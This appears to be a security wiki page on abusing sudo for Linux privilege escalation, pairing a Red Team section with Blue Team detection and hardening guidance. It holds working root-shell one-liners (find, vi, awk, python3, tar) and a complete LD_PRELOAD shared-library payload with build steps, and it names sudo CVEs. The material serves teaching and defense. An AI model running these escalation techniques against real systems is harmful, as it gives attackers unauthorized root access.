Sudo Abuse
sudo lets users run commands as another user (usually root) per rules in /etc/sudoers. It’s the legitimate way to delegate privileges, but an over-permissive configuration —a command that can be redirected to a shell, dangerous wildcards, preserved environment variables, or excessive NOPASSWD— turns sudo into the fastest and most reliable road to root. That’s why sudo -l is always the first thing checked in an escalation.
Threat model
Section titled “Threat model”An attacker who already has a shell looks for what they can run with elevated privileges without knowing the root password. sudo -l answers exactly that. Each allowed entry is an opportunity: if the command is in GTFOBins, if it preserves LD_PRELOAD, if it uses wildcards or a writable script, it’s root. On top of that, sudo itself has had memory bugs that give root without needing any rule at all.
Theory / Anatomy
Section titled “Theory / Anatomy”sudoers defines, per user/group, which commands can run as which user and under what conditions (NOPASSWD, env_keep, secure_path). The problem arises when the rule grants more than needed: an interactive binary (editor, pager, interpreter) allowed as root runs subcommands as root too; a preserved environment variable alters library loading; a wildcard lets you inject arguments.
Red Team
Section titled “Red Team”sudo -l: the starting point
Section titled “sudo -l: the starting point”sudo -l # what commands I can run as root and whether they need a passwordsudo --version # version -> map CVEsReading typical outputs:
(ALL : ALL) ALL→ direct root (sudo suorsudo -i).(root) NOPASSWD: /usr/bin/find→ runfindas root without a password.(root) /usr/bin/vi /etc/x→ editor as root → shell from it.
Abuse the allowed command (GTFOBins)
Section titled “Abuse the allowed command (GTFOBins)”If you can run as root a binary in GTFOBins’ sudo section, you have root:
sudo find . -exec /bin/sh \; -quitsudo vi -c ':!/bin/sh' # or, inside less/man: !/bin/shsudo awk 'BEGIN {system("/bin/sh")}'sudo python3 -c 'import os;os.system("/bin/sh")'sudo env /bin/shsudo tar cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/shLD_PRELOAD / LD_LIBRARY_PATH (env_keep)
Section titled “LD_PRELOAD / LD_LIBRARY_PATH (env_keep)”If sudoers preserves dangerous variables (Defaults env_keep += "LD_PRELOAD"), preload a library whose constructor spawns a shell:
cat > /tmp/x.c <<'EOF'#include <stdlib.h>#include <unistd.h>__attribute__((constructor)) void init(){ unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/sh"); }EOFgcc -shared -fPIC -nostartfiles -o /tmp/x.so /tmp/x.csudo LD_PRELOAD=/tmp/x.so <allowed_command> # -> rootWildcards, writable scripts, and PATH
Section titled “Wildcards, writable scripts, and PATH”- Wildcard (
sudo /opt/script *): inject arguments or filenames the command interprets. - Writable script allowed via sudo: edit its contents.
- Command invoking another without an absolute path and bad
secure_path→ PATH hijacking (see SUID for the technique).
Sudo CVEs (real)
Section titled “Sudo CVEs (real)”- Baron Samedit — CVE-2021-3156: heap overflow in
sudo/sudoeditargument parsing; root needing no rule at all in sudoers. Affected almost all versions for years. - CVE-2019-14287:
sudo -u#-1(or4294967295) runs as root despite a rule like(ALL, !root).
Check the version with sudo --version; if unpatched, Baron Samedit is direct root.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- auditd and
/var/log/auth.log(orsecure): every sudo invocation is logged (user, command, result). Alert onCOMMAND=toward GTFOBins binaries, use ofenv_keep/LD_PRELOAD, and repeated failures. - Exploit signals: long/malformed
sudoeditargument strings (Baron Samedit),sudo -u#-1. - Ship
auth.logto the SIEM and correlate with EUID escalation.
Hardening
Section titled “Hardening”- Least privilege in sudoers: specific commands with absolute paths, never GTFOBins binaries, no dangerous wildcards.
env_reset(default) and noenv_keepofLD_*; correctsecure_path.- Avoid
NOPASSWDexcept where essential; usesudoeditinstead of granting full editors. - Don’t grant sudo over writable scripts or binaries that invoke other commands.
- Patch sudo (Baron Samedit, CVE-2019-14287) as a priority.
Response
Section titled “Response”Rotate the passwords of the accounts involved, review sudoers/sudoers.d, and hunt for persistence if root was reached (see Persistence).
Checklist
Section titled “Checklist”-
sudo -l→ which commands and whether NOPASSWD - Cross-reference each allowed command with GTFOBins (sudo section)
- LD_PRELOAD/LD_LIBRARY_PATH if
env_keeppreserves them - Wildcards, writable scripts, PATH hijacking
- Sudo version → Baron Samedit (CVE-2021-3156), CVE-2019-14287
- Get a root shell and confirm (
id) - Blue: minimal sudoers, env_reset, patched, auth.log to SIEM?